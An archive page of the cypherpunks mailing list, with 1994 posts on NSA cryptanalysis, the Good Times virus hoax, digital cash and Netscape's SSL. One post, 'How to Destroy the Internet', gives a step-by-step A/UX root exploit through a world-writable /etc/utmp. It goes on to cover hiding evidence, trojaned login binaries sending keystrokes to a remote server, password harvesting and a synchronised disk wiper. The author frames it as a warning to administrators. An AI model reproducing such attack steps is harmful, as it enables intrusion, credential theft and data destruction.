December 2003 - cypherpunks-legacy

Re: Breaking the NSA
by jrochkin＠cs.oberlin.edu 17 Dec '03

17 Dec '03

At 6:31 PM 12/07/94, DNA wrote: >If you really want to test NSA. Encrypt some crypto code >with pgp in an overseas public key(IE: non-us) then email the >code to someone out of the us. This way you will find out 1 of 2 >things. > 1. That pgp is unbreakable by the NSA > - Rsa with fairly log keys take so much work the nsa > cant crack it with huge computers. This is a good > thing Nah, no possible result would tell you this. Perhaps PGP is "breakable", in that it takes something like 30 seconds of their computer time to break, say. But even 30 seconds would probably be too much time to spend on _every_ single piece of email that crosses national borders.

1 0

Breaking the NSA
by Tony.Gurnick＠nzdairy.co.nz 17 Dec '03

17 Dec '03

Frenchie Wrote Not that easy. They would just crack the code and *another* acronym based agency would come up with a different reason to seize you and your computer. It would seem unrelated to anyone but *you* since you would know what you did but would have no way to prove that your original infraction is why you are doin' time. Hope that makes some sense. Maybe. What if the only way to do this was illegal? If it isn't something *really good* they probably wouldn't come after you anyway. Whats the definition of GOOD? #3 I can agree with. I don't think that NSA would tip their hand and let on to us that they can read our stuff. At least, not directly. We may as well find out. One more thing. Don't you think that they subscribe to the Cypherpunk list just to see this kind of logic? Maybe, But isnt freedom of speech what this list is about and what your constitution does! BTW....I ain't one of 'em, and I wouldn't tell if I was. :) Prove it T

1 0

Re: Breaking the NSA
by VAMAGUS＠delphi.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Tony.Gurnick(a)nzdairy.co.nz wrote: >Frenchie Wrote > > Not that easy. They would just crack the code and *another* > acronym based agency would come up with a different reason to > seize you and your computer. It would seem unrelated to anyone > but *you* since you would know what you did but would have no > way to prove that your original infraction is why you are doin' > time. Hope that makes some sense. > >Maybe. What if the only way to do this was illegal? Then you would have to hope you never do anything illegal. Then no (pick your acronym) agency would be able to easily trump up a charge that could be used as an infiltration technique to get to your system *legally*. If they want to bad enuff I'm sure breaking the law to catch you doing something would be arranged. Violating National Interests maybe? > If it isn't something *really good* they probably wouldn't come after > you anyway. >Whats the definition of GOOD? PGP?...3xDES?....RC5?....plans for an A-Bomb with instructions for construction and location of available nuclear material?...pick one. > #3 I can agree with. I don't think that NSA would tip their hand > and let on to us that they can read our stuff. At least, not directly. >We may as well find out. Agreed, the problem is finding a way to be sure! A little misinformation has a habit of going a long way. > One more thing. Don't you think that they subscribe to the Cypherpunk > list just to see this kind of logic? >Maybe, But isnt freedom of speech what this list is about and what your >constitution does! Be careful...not everyone here is a U.S. resident or citizen. At least I don't think so. But since I am I know how precariously balanced the definition of free specch is. The Supreme Court in cahoots with law enforcement and lawmakers could change things pretty quick! Throw in a handy list of names......u know the rest. > BTW....I ain't one of 'em, and I wouldn't tell if I was. :) >Prove it [I see my smiley was disregarded] Proof you say! A classical dilemma: If I say I am (one of them) it implies gathering intelligence or a reason to sow suspicion even if I am not. Denial implies I am what I say I am not. So, even though I am not, it would be impossible to *convince* you of that. If I was I still couldn't produce *believable* evidence to support the statement. Take my advice: Don't Trust Nobody. ***************************Frenchie Sends******************************* * PGP Public Keys: 1024/BEB3ED71 & 2047/D9E1F2E9 on request. * * As soon as any man says of the affairs of the state * * "What does it matter to me?" the state may be given up for lost. * * J.J.Rousseau - The Social Contract * * PGP info: email to mail-server(a)mit.edu with first line of message: * * send pub/usenet/alt.security.pgp/* * *****************************J. Francois******************************** -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBLuZqibbmxeO+s+1xAQFLpwP7BiRyz2VD+gkBwE7F/yF99XPlYVjXYBsV wE6bJtGOQ94qojVYSlw/L2BXHwm271VqXgknKAxZbJUh/Y4497tnaRCVLx4Us91Z k/wrEWmnsB5uE2yNWcYuIMxMSRfrEhUAPNJUvl95+ryFm+7TC7kVKuPi/38+oKMS FCe0hmvbVDQ= =lt1q -----END PGP SIGNATURE----- Is there a reason *you* don't sign your messages? Hehehe.... :)

1 0

Re: (Fwd) Read this, Virus info!!
by alano＠teleport.com 17 Dec '03

17 Dec '03

>I have received two versions of this warning about "Good Times" >virus, this one from mail list Design-L and a similar one from >list Fiction-of-Philosophy. Some forwarded headers have been >removed from this version. > >Has anyone on c'punks got further info or comment? Yes. It is a hoax. (I will obtain the debunking message fron one of the virus echos if needed...) It was designed to prey on the gulibility of AOL users. (You cannot make a mail message that will virus your system just by READING it. AOL does not have support for nam-shubs.) | "Encryption ROT13s your mind." | alano(a)teleport.com | |"Would you rather be tortured by the government | Disclaimer: | |forces or the people's liberation army?" -mklprc | Ignore the man | | -- PGP 2.6.2 key available on request -- | behind the keyboard.|

1 0

Re: Good times virus (ANSI BOMB?)
by Claborne, Chris 17 Dec '03

17 Dec '03

Can't be too UNIX centric. With the advent of MS Mail and CC:Mail that have SMTP gateways, they automagically convert uuencoded files to attachments in the native format. That is, when you send me a message with a uuencoded file at the end, my mail gateway uudecodes and puts the attachemnt in my mail messas as a clickable icon. NOW, all you got to do is convince me to doubble click on this (virus exe) and bingo!, I'm dead. Question: Has anyone tried to infect or destroy an NT box with some known virus. NT's security model could prevent this (I.E. trying to write to a restricted file or stay resident...). But I'm not sure what is secured since almost all users use NT workstation as "Administrator". 2 -- C -- >--------------------------------------------------------------------------- --- >-----BEGIN PGP SIGNED MESSAGE----- > >>On Dec 7, 1:04am, ADAM GERSTEIN, _THE_ MACGURU wrote: >>> Need I remind you of a certain Robert T. Morris? Does the "Internet Worm" >>mean >>> anything to you? Sure, it wasn't actual email, but it did use email and >other >>> means of transport to cripple the net in a matter of hours. >> >>The Internet Worm used the sendmail DEBUG mode to execute commands on >>a remote system. It did not propogate itself via email messages, which was >>what the original (ridiculous) warning claimed. >> >>I can't feel a lot of sympathy for people who took this announcement >>seriously. Such stupidity reaps its own rewards. > >Although the concept of "text viruses" seems a bit far fetched to some >people, there these lovely toys known as ANSI bombs. Essentially they work >in a similar method to the some techniques used in the sendmail bug, but >they are MS-DOS specific, they will use embedded ANSI codes to run programs >as the files is viewed... anyone know what will happen if deltree /XXX >(where XXX represents an unpublished string of characters) is run from the >root directory of a DOS hard disk? Its gone, quickly. Sure the files can be >undeleted, but undeleting a whole disk is tricky business... > >Maybe Good Times is a hoax, but ANSI bombs exist and using a DOS ANSI text >viewer will surely be a foolish thing to do on any downloaded text file... > >If anyone feels the need for proof I collected a few a while back, but >really don't see the need to post them...heh heh. > > Adam Philipp > >PS: Please no comments about superiority of MACs or LINUX boxs because they >are immune to ANSI boms...that ought to be clear enough... > >- -- >PGP Key available on the keyservers. Encrypted E-mail welcome. > >SUB ROSA: Confidential, secret, not for publication. > -Black's Law Dictionary > >GJ/CS d H S:+ g? p? au+ a- w+ v++ c++ UL+ UU+ US+ P+ 3 E N++ k- W++ M-- V >po- Y++ t++ 5+ jx R G' tv+ b+++ D++ B--- E+++ u** h-- f++ r+ n+ y++-- > >- --- >[This message has been signed by an auto-signing service. A valid signature >means only that it has been received at the address corresponding to the >signature and forwarded.] > >-----BEGIN PGP SIGNATURE----- >Version: 2.6.2 >Comment: Gratis auto-signing service > >iQBFAwUBLuVnPSoZzwIn1bdtAQEjeAF+Pi65kg9SMBZ1bzO5gJBsumi5x2vJFgqC >o0hc3bMaqLYb5WY/jlaAtWURtzXzOUc6 >=/53s >-----END PGP SIGNATURE----- >

1 0

cut & choose
by Alex Strasheim 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- In Applied Cryptography, Schneier describes digital cash protocols that depend on the cut and choose method: Alice prepares 100 anonymous money orders for $100, sends them all to the bank, which opens all the envelopes except one picked at random. If the 99 envelopes checked have money orders for $100, then the bank is confident that the one they sign blindly will be for $100 as well. Chaum's system uses different keys for different denominations. Alice only sends one envelope, and the bank uses its $100 key to sign it. I don't understand why anyone would use the cut and choose protocol over denominated keys. Chaum's method seems a lot cleaner to me and more secure. It obviously uses less bandwidth. What am I missing here? == Alex Strasheim | finger astrashe(a)nyx.cs.du.edu alex(a)omaha.com | for my PGP 2.6.1. public key -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBLudoHxEpP7+baaPtAQFIiwQAsCc/TYI/cgJyGf6AtykBGgu+qJJ+peM6 /IYXnUzrIeFLx54nRjsUOUFYJs6Uu3vu6s2BRbd2/YIJVaY6/kP4HO0zuMhqFn2z 4eddRverUeH59IZgZ+4Va4/rgfn5hRdNSOgNinIyk0aRsa8ulR+cmJdUYqggHgd5 w2dxkAtDSGM= =fzJT -----END PGP SIGNATURE-----

3 2

DigiCash
by Paul Foley 17 Dec '03

17 Dec '03

Could someone explain the concept of "DigiCash" to me, or tell me where to get info from? Thanks.

2 1

Purdy & hickory
by Tony.Gurnick＠nzdairy.co.nz 17 Dec '03

17 Dec '03

Does anyone have any info on the PURDY & HICKORY hash algorithms that VMS uses in its authentication services! Thanks T

1 0

Breaking the NSA
by Tony.Gurnick＠nzdairy.co.nz 17 Dec '03

17 Dec '03

Frenchie wrote >Tony.Gurnick(a)nzdairy.co.nz wrote: > >>Frenchie Wrote >> >> Not that easy. They would just crack the code and *another* >> acronym based agency would come up with a different reason to >> seize you and your computer. It would seem unrelated to anyone >> but *you* since you would know what you did but would have no >> way to prove that your original infraction is why you are doin' >> time. Hope that makes some sense. >> >>Maybe. What if the only way to do this was illegal? > > Then you would have to hope you never do anything illegal. Then > no (pick your acronym) agency would be able to easily trump up > a charge that could be used as an infiltration technique to get > to your system *legally*. If they want to bad enuff I'm sure > breaking the law to catch you doing something would be arranged. > Violating National Interests maybe? > Um, you would still know pgp/rsa/idea has been broken??? >> If it isn't something *really good* they probably wouldn't come after >> you anyway. > >>Whats the definition of GOOD? > > PGP?...3xDES?....RC5?....plans for an A-Bomb with instructions for > construction and location of available nuclear material?...pick one. Yeah Thats pretty good >> #3 I can agree with. I don't think that NSA would tip their hand >> and let on to us that they can read our stuff. At least, not directly. > >>We may as well find out. > > Agreed, the problem is finding a way to be sure! A little > misinformation has a habit of going a long way. Huh? >> One more thing. Don't you think that they subscribe to the Cypherpunk >> list just to see this kind of logic? > >>Maybe, But isnt freedom of speech what this list is about and what your >>constitution does! > > > Be careful...not everyone here is a U.S. resident or citizen. > At least I don't think so. > But since I am I know how precariously balanced the definition > of free specch is. The Supreme Court in cahoots with law > enforcement and lawmakers could change things pretty quick! > Throw in a handy list of names......u know the rest. Well Im not one (a us cit i mean), but another way of putting what I said is Its like some private company invents a cipher and you break it And they get pissed at you for doing it. But you did them a favour really cause someone more unscrupulous than you wouldnt have told them. So the NSA should be glad, and encourage us to speak like this and I think we should continue along this track! Unless of course they wish to comment....? > BTW....I ain't one of 'em, and I wouldn't tell if I was. :) >>Prove it >[I see my smiley was disregarded] Sorry, I forgot my smile, I was quite busy yesterday and thought I could get a quick reply in. I bolloxed that up! Heres two )) >Proof you say! >A classical dilemma: > If I say I am (one of them) it implies gathering > intelligence or a reason to sow suspicion even if I am not. > Denial implies I am what I say I am not. > So, even though I am not, it would be impossible to *convince* > you of that. If I was I still couldn't produce *believable* > evidence to support the statement. > Take my advice: Don't Trust Nobody. Thats a good one >Is there a reason *you* don't sign your messages? Hehehe.... :) Cause I forgot...busy...chicken! T

1 0

How to Destroy the Internet (was Info about Linux)
by crawford＠scruznet.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I write: > You don't need to have a firewall to tighten up the security on your > machine. Read this book if you're going to put a Unix box of any sort on > the Internet, or you might wake up some day to find someone's erased your > hard disk from the other side of the globe. > Matt Bartley <mbartley@I guess this is wrong.edu> writes > Is it that dangerous? I wonder how machines in college, which didn't > have firewall protection that I know of, survived. Then again, that > was close to 3 years ago - maybe things are worse now. Before I proceed, let me point out that the following procedure has been documented for more than five years. Some may regards it as irresponsible to publish this information, but I consider it a greater danger that many Unix machine owners fail to appreciate the seriousness of this problem. How to erase the hard disk of almost every Unix machine on the Internet: Apple's A/UX 2.0 was, at least initially, shipped with two well-known security holes, holes which had been documented for years in the CERT advisories. When I was the MacTCP test engineer at Apple, I beta tested A/UX, found these holes, and tried very hard to get Apple to close them before shipping the product, which was primarily meant as Apple's candidate for an $80 million Air Force contract. I found this pretty ironic, but when I griped about it at Apple - and I griped about it increasingly loudly as the ship date approached - all I got was sternly scolded. Apple's internal netadmins did invite to play "capture /flag" on their internal net Unix machines, which was fun. I never could break into /flag. Security hole #1: A/UX ships with the guest login enabled, with no password. Thus anyone can log in to any A/UX machine on the Internet. Security hole #2: A/UX was largely derived from SunOS, and shared a hole with older versions of SunOS. The /etc/utmp file is world writable. The reason this is done is so that shell windows in the MacOS process on A/UX, or under SunView on the Sun, can appear to be logged in terminals, I think mainly to allow "wall" to write messages to all the windows. This is a deadly error. If /etc/utmp is world writable, anyone who can log in, with a little practice, can become root and cover evidence of their login in about 30 seconds. This is done as follows: 0. Using HINFO records from the name service, and looking at the SMTP, FTP, and login banners of many machines on the Internet, collect the addresses of many A/UX machines. For each A/UX machine do 1 - 15: 1. On your local machine, running the window system of your choice, type in a no-password passwd file entry for root into a window. Leave the window open. 2. On your local machine, create a file in utmp format in which ../tmp/foo is the only logged in terminal. Copy it to the clipboard (this will be a binary file - you have to write a small C program to create it). 3. Log in as guest over the internet. 4. cat /etc/utmp | od -h 5 cp /etc/passwd /tmp/Ex12345 6. cat > /etc/utmp 7. Paste the contents of your clipboard into the terminal window and press control-D. Now you've made /dev/../tmp/foo the only terminal which appears to be logged in. 8. ln -s /etc/passwd /tmp/foo 9. rwall "root::0:0::/:/bin/sh". This message is broadcast to all logged in terminals, thus replacing the password file with your own. 10. su ... now you are root. Time to cover your tracks! 11. mv /tmp/Ex12345 /etc/passwd 12. Copy the hex dump that just scrolled by on your screen to the clipboard. Paste it into a program that you have written that converts it back into binary, removes all the guest login records from it, and places the result back on the clipboard. 13. cat > /etc/utmp ... paste into the terminal window and press ^D. 14. Relax. Take a break and look upon your handiwork. The only evidence of your connection is the existence of a couple of shell processes and a telnet or rlogin daemon. "who" or "users" will not show you; the machine's users will have to examine ps listings very carefully to see that you are logged in. 15. When you've sufficiently regained your composure, use ftp to fetch patched telnet and rlogin binaries from your machine. With telnet you could just set the debug flag to dribble all the user's keystrokes into a file, but it would have more finesse to send a UDP packet of the first few keystrokes of each session to a server you have somewhere on the internet. 16. Collect passwords to every machine that allows logins from the machine you have just hacked. If you get any root passwords, go to step 15. (be sure to collect enough keystrokes to catch any su's that are done after logging in as a regular use. If the passwords are to any other A/UX machines, or old SunOS machines, go to step 4. 17. After you have collected lots of root passwords, right a C program that will wait for a certain delay, then turn off all networking using ifconfig (to prevent the admin from getting in and stopping the damage), mmap the raw partitions of all the mounted hard disks, make sure that the whole program is sitting in physical ram, then write garbage into the mmap'ed memory blocks. Install this program on all your target machines, with the delay synchronized to each system's own clock so that the damage happens simultaneously worldwide. You will probably want to distribute installation programs to a few dozen of your hacked machines, and have them all install on the machines nearby, to prevent word from getting out before the installations are all complete. If you're lucky, you can get the passwords to some backbone routers and partition the internet to help prevent the spread of the warning. The reason your college's machines have not been hacked yet, is because there are many machines on the internet, and the hackers have not got around to it yet. Read Firewalls and Internet Security, by William R. Cheswick and Steven M. Bellovin, ISBN 0-201-63357-4, before this happens to you. Any machine that allows logins from your own machine will be compromised, if your machine is compromised. Every machine that allows logins from any machine that allows logins from you will then be compromised, and so on. If the security is not tightened up considerably on the hosts connected to the Internet, someone's going to do something like this and bring the whole thing down. The Morris Worm did a great deal of damage to the net, but did little in the way of monetary damage beyond wasted employee time. Something like this would do damage in the billions of dollars. Regards, Michael D. Crawford crawford(a)scruznet.com <- Please note change of address. crawford(a)maxwell.ucsc.edu <- Finger me here for PGP Public Key. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAwUBLucy8aJTibhK6XY5AQFyYgQAgHD4jMeXAt9iQ4h266nyP8jQcSYGUzCZ mbXCHiDEjmPLCqrFvLJv+5QiCVvCKVvjVLJzoJ5id7f8YiJFZFLqxVeLlUj9ZqxM jSrETQYUEv81dypYAZkTnFuZMU+VuGUBBFjjTIMUcRo+CCvgfyA6Tb3Fhfz2qGIW d4qjDuT7Jyc= =GcJ2 -----END PGP SIGNATURE----- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6 mQCPAy7JYr8AAAEEAJ4GpoYcH5abkSq5FZQ9LxoP9oKKQDXHRGZT8QCcnVZ8o87H p9kEaUJIyzGbMHpO7C09qShwcrII2VfCZ77iWlBglmdLEa/dKXRCSWMFF52RcSDh zJF8m0wE2SZ9x4Y6KuXM3RwJVdEKLhsAImxckvfj0UBvb5xtJ6JTibhK6XY5ABEB AAG0LU1pY2hhZWwgRC4gQ3Jhd2ZvcmQgPGNyYXdmb3JkQHNjaXBwLnVjc2MuZWR1 PokAlQMFEC7JZBeiU4m4Sul2OQEBpFID/jz5/tGopduwskgTHxvQDRe4D/rvUHov s+ILcFLmQyFC0iVHEWWBMtSnTcPZOVsTKqhonDAiMTvWTf5XaszvXZYaIOVBJGO2 tTbX9AM3NtkLjyv6lQE7tssd7/XoQPy2CxI40f7sMh1AbDq43W/hpOI6TYfGAMcZ rdGMR7But9bb =kSZf -----END PGP PUBLIC KEY BLOCK----- Michael D. Crawford crawford(a)scruznet.com <- Please note change of address. crawford(a)maxwell.ucsc.edu <- Finger me here for PGP Public Key.

1 0

A disturbing story
by Tommy the Tourist 17 Dec '03

17 Dec '03

Check out the story "CIA to pay $410 000 to maligned female officer" in Thursday's SF Chronicle (http://sfgate.com/new/schron/dec-08-94/mn1199.html) The interesting part isn't the stuff about sexual harassment. The interesting thing were paragraphs 8 and 9: >For example, Brookner was accused by the CIA's inspector general of >drunkenly pawing a male subordinate at a 1990 Christmas party at her home in >Jamaica. > >But the government lawyers defending the CIA then said that the man was not >a subordinate, but a high-ranking Drug Enforcement Administration official >who attended the party. Why would there be a high-ranking DEA official at a CIA Christmas party? Hmmm. ------------ To respond to the sender of this message, send mail to remailer(a)soda.berkeley.edu, starting your message with the following 7 lines: :: Response-Key: the-clipper-key ====Encrypted-Sender-Begin==== MI@```%)^&2?(E<U9BPG1]W7L'=BKH_SDP7C2:5S'2.B1&AR&I&.:9!Q-P\`[ JR2DDD23UQW!;%%Y6*I5:)V7Q'1%\+JL1;81D]T6N[A?NEU1/;\BPJ\$W ====Encrypted-Sender-End====

2 1

Re: Moto Secure Clear digital?
by Claborne, Chris 17 Dec '03

17 Dec '03

I got one a while back and I don't like it. The range is poor and the sound quality is not all that great. A novice newby can't break it but anyone with experience can. I've seen posts on how it works but can't remember. AT&T has some kind of security feature on their 900Mhz phone but I haven't looked into it. 2 -- C -- >From: Jonathan Cooper <entropy(a)IntNet.net> >--------------------------------------------------------------------------- --- >> I just got a second phone line, and decided that if I was going to get a >2-line >> phone it might as well be a good one, so I am considering a Motorola Secure >> Clear cordless 2-line phone with speakerphone. This will be quite an >investment,so I was wondering whether the Secure Clear phones are digitally >encrypted or >> merely scrambled using some analog method. Anybody know about this? How >secure >> are these phones really? --Wes > > As I understand it the system is a cheezy form of frequency >inversion. It'll stop your neighbors with a scanner, but that's about it. > >-jon > >( --------[ Jonathan D. Cooper ]--------[ entropy(a)intnet.net ]-------- ) >( PGP 2.6.2 keyprint: 31 50 8F 82 B9 79 ED C4 5B 12 A0 35 E0 9B C0 01 ) > >

1 0

Anonymity in the foreign exchange markets
by eric＠remailer.net 17 Dec '03

17 Dec '03

The following two page spread advertisement is from the Economist Nov 12, 1994. -------------------------------------------- Wouldn't the speculators love to know where you DM2.5 billion is right now. Your government has just raised DM2.5 billion. Your task is to convert those Deutsche marks into the currency of your country. And a whole world of speculators can't wait. They know they can make money at your expense by detecting and anticipating such a large currency move. But you have a surprise for them. Your currency is moving through the international markets right now -- right under the speculator's noses -- and they haven't a clue. Because you've found a firm that is more than a leading international trader. It's a select group of professionals -- strategists, researchers and economists with their own technology, their own global network and a distinctive approach to foreign exchange. They monitor the capital markets, not just trade flows, to get a more accurate picture of currency trends. Their strategic thinking helps pinpoint when -- and when not -- to make certain currency moves. And while they deal in all currencies, all markets and all size transactions, large positions such as yours are handled with special discretion. That's why, right now, your DM2.5 billion has been divided up -- into trades small enough to be undetected but large enough to be cost-efficient -- and blended strategically into the firm's daily global business. Most importantly, when the trading becomes fast and furious, these people make sure your transactions come first. You know they'll see you through it all. MORGAN STANLEY [The picture is of a chameleon.] -------------------------------------------- Note that not only are they selling anonymization services for *huge* sizes, they're also selling traffic analysis avoidance. >From what I know about the business, a typical commission is 1%, or somewhere around $10 million for th advertised transaction. Eric

1 0

L.A. area meeting
by Agorist003＠aol.com 17 Dec '03

17 Dec '03

There will be a meeting under the announced name "L.A. Cypherpunks" at the California Coffee House, 4455 Overland Avenue, Culver City, CA 90230 (310) 559-8868 to discuss privacy issues and tactics. If any of y'all want to show up and flame on about your pet projects and sell stuff, it is a free, informal gathering -- show up any time between noon and 5 P.M. BCNU! Kent - jkh(a)story.com (If wsb gets fixed again)

2 1

Secure DAC?
by SINCLAIR DOUGLAS N 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I was looking through the PMI analog IC databook from 1988. Specifically, I was looking at the "DAC-08 8-bit high-speed multiplying D/A converter". The chip is interesting in that it has two outputs. One is the current corresponding to the digital value on the input lines, and the other is the current corresponding to NOT the digital values. Thus, the two currents sum to a constant. The book says: "Power consuption may be calculated as follows: Pd = (I+) (V+) + (I-) (V-). A useful feature of the DAC-08 design is that supply current is constand and independent of input logic states; this is useful in cryptographic applications and further serves to ^^^^^^^^^^^^^ reduce the size of the power supply bypass capacitors." -- Page 11-34. All typos mine. I fail to see how this would increase cryptographic potential. However, it would seem to mask the device's EMR. The application notes state that it is useful in CRT display drivers, audio encoders, &c. These are all devices that are succeptable to TEMPEST monitoring (or whatever the correct name is). If one output goes to the desired next stage (the electron gun in a CRT for example) and the other goes to a matched dummy load, it would seem that the overall EMR is constant. This approach would obliviate the need for bulky shielding, though it might not be as secure. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBLuhtmcyi36CIyUXVAQHPOgQAtfWIF40YQU+pYhYok734qzePhkDmmaaR 8WLXVB9UvZBi7psIuXRsXoKkODaQIJecQZ6UsIrEfBr1Lor+ZBe7e7fOpWiO5jkE gMC+/a62z4xOyr4ukrEsZPG4WfHLR1SSob+CFla/JjiL2Hp3+I2wgtieY7KHTn0m 13Zpr/eayLM= =F8pd -----END PGP SIGNATURE-----

3 2

Netscape SSL protocol URL
by ddt＠lsd.com 17 Dec '03

17 Dec '03

Check out: http://home.mcom.com/info/SSL.html First few lines reproduced below. Sorry no sign on this one, must jet now! dave =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= cut here =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The SSL Protocol The SSL protocol has been submitted to the W3O working group on security for consideration as part of a general security approach for the Web, and we are actively working within the W3O and with many of its member entities on establishing open security standards for the net. This protocol specification was last revised on November 29th, 1994. Recent changes include: a fundamental correction to the client-certificate authentication protocol, the removal of the username/password messages, corrections in some of the cryptographic terminology, the addition of a MAC to the messages [see section 1.2], the allowance for different kinds of message digest algorithms. Internet Data Security Document Experimental Kipp E.B. Hickman Request For Comments: XXXX Netscape Communications Corp. Last Update: Nov. 29th, 1994 ______________________________________________________________________________ The SSL Protocol Status of this Memo This RFC specifies a security protocol for the Internet community, and requests discussion and suggestions for improvements. Distribution of this memo is unlimited. Abstract This document specifies the Secure Sockets Layer (SSL) protocol, a security protocol that provides privacy over the Internet. The protocol allows client/server applications to communicate in a way that cannot be eavesdropped. Server's are always authenticated and clients are optionally authenticated. [elided]

1 0

Question #1 to the community regarding National...
by CRYPTO 17 Dec '03

17 Dec '03

Subject: Question #1 to the community regarding National Cryptography Policy As many of you know, the National Research Council is undertaking a study of national cryptography policy (description available on request to CRYPTO(a)NAS.EDU) This note is the first of a number of questions that will be posted to the Internet community in our attempt to solicit input on a broad scale. Please circulate this request to anyone that you think might be able to contribute. The question of this posting is the following: How, if at all, do capabilities enabled by new and emerging technology in telecommunications (e.g., key-escrow encryption technologies, digital telephony) and electronic networking make it _easier_ for those who control that technology to compromise and/or protect the interests of individual end users? Please use as the standard of comparison the ease _today_ of compromising or protecting these interests. We are interested in scenarios in which these interests might be compromised or protected both individually and on a large scale. Please be sure to tell us the interests you believe are at stake. Please send your comments on this question to CRYPTO(a)NAS.EDU.

1 0

BofA+Netscape
by ddt＠lsd.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Lads, I thought many of you would be interested in the text of this story. I'm wondering if anyone has any comments on the excryption mechanism (i.e. "eavesdropping" protection) being used. I believe, from my visits to the Netscape (formerly Mosaic) Communications Inc. offices that they are using RSA, but I'm not sure how *secure* their implementation is (eg. key size, etc.). I'll be contacting my local branch to inquire as to how soon I'll be able to use the service and will post my experiences with it as soon as possible. This development certainly signals a major breakthrough in E$ technology. dave ____________________________________________________________ "Money is the root of all Evil. Send $9.95 for more info." =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= cut here =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Bank of America Goes Online With Credit Card Service By David Einstein, Chronicle Staff Writer In a major step toward electronic commerce, Bank of America announced yesterday it will launch a system next month for processing credit card transactions on the Internet. The bank, second largest in the United States after Citicorp, will use software from Netscape Communications to make it safe for merchants and consumers to do business online. Lack of a secure way to transmit credit card information has been the biggest obstacle to conducting business on the Internet, a global computer network reaching some 30 million people. "Secure payment processing is a critical element to making elec tronic commerce happen," said Netscape spokeswoman Rosanne Siino. She called the BofA announcement "a pretty big deal for us." Netscape's software incorporates data encryption that protects online communications from eavesdroppers. It also gives both parties in a transaction the ability to verify each other's identity. BofA intends to market its new service to merchants for whom it currently processes ordinary credit card transactions. The service will be free to consumers, who will be able to make purchases with almost any major credit card. Officials of the San Francisco based bank said they do not expect online processing to generate a flood of business immediately. "We anticipate that the maturity of this product is going to take a year if not years to develop," said Jim Aviles, vice president of marketing for BofA Merchant Services. Electronic shopping is not expected to catch on until the public gains widespread, low-cost access to the Internet. Full access is still expensive and not available everywhere. Netscape, an 8-month-old company based in Mountain View, is one of the leading makers of software used to navigate the Internet via a Windowslike interface. One of the company's founders is Marc Andreessen, the 23-year-old whiz kid who developed Mosaic, the navigation program that ignited interest in the Internet last year. Yesterday's announcement was the latest in a series of deals involving Netscape. Late last month, MCI said it would use the company's technology as the core of its planned internetMCI electronic shopping service. San Francisco Chronicle 6 December 94 (Business) Section D, Pg 1 ("D1") - -30- -----BEGIN PGP SIGNATURE----- Version: 2.6somethingorother iQCVAgUBLugg0KHBOF9KrwDlAQFxNQP+NZCPCkuIoWfp4PJszoYDlY2UmkBPcLfa VyfuU0yMimJa1MW3Oolf5PyNpK2M7+yastFIRL1MmjxUi8FOZ6qQjIIsMe8ahuJV YVwCf9+v2Ll8XaDywG9+zvhQI4WoTBCL0aoCbKZkhm56IKj00aXMDP+zXYpx/SZM Z6bp0YNKk/Y= =UTZA -----END PGP SIGNATURE-----

5 6

Re: BofA+Netscape
by JEFF LICQUIA (CEI) 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- > It my personal feeling that Netscape doesn't have the right >talent mix to develop secure software. For example, they may well get >the RSA parts right, and then store the passphrase in a text file, >'for ease of use.' The RSA is secure, but the system is not secure if >usnauthorized people using your machine is a possibility. > > Writing secure software is a difficult and tricky buisness >that requires a lot of effort; early versions of Mosaic had problems. > > Netscape really needs to develop a threat model that allows >them to assess the severity of potential problems. It is my guess >that they have not done so, although, I'd be pleased to hear I'm >wrong. > > Everyone's favorite company, First Virtual, seems to have >developed a threat model that allows them to offload allmost all risk >and security problems to their customers. It may not be a good >solution, but at least they have considered how the security of their >system intersects the real world. Just integrating RSA does not do >that. This intrigued me, so I checked it out. I didn't see anything about a threat model, but they did have some extensive discussion about their security, including things I found interesting... They call their system "Secure Sockets Layer" (SSL), which appears to be a kind of link-level encryption which they layer below HTTP. This is opposed to SHTTP, which is more MIME-like. They don't seem to think much of SHTTP; their FAQ answers the question "Are there other secure browsers available?" with "Nope; no one else uses SSL at this time." (paraphrased) What's interesting is that they're planning to put NNTP, FTP, etc. on top of SSL as well, allowing for "secure FTP" and "secure news", etc. SSL is supposedly an open standard, and Netscape is pressing for it to become a true standard. Apparently, they've even issued an RFC for it. The full text of the SSL protocol is on their Web site. As for technical issues, they aren't very satisfactory concerning the kind of questions Adam raised; it's mostly about RC4 layered on top of RSA and MD5 hashes sent at this time, etc... The SSL spec contains a section on attacks which seems elementary even to my novice mind. Is there interest in posting the spec? It's in RFC format, but hasn't even been assigned a number yet, so it doesn't appear to be uncopyable, as it were. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBLuiwnjER5KvPRd0NAQGBNAP+PpTRHhzVq+ogPkCUP4vBSYG9ooOnSVOi tOaG+4zQYJa7iPBP11/aODYM9JjlNr8zGBDfKr1SzOI7ntg59C8/aGscc5XvJh5I wE2TxHOqA+OE+AtSy4jDE09yVG/TUZuO69Ig5+v/xJy+XU1nspUoJ02mi5EQo/59 Qq1nDoeKpoE= =vBg6 -----END PGP SIGNATURE-----

1 0

Saturday weekly L.A. gatherings
by Agorist003＠aol.com 17 Dec '03

17 Dec '03

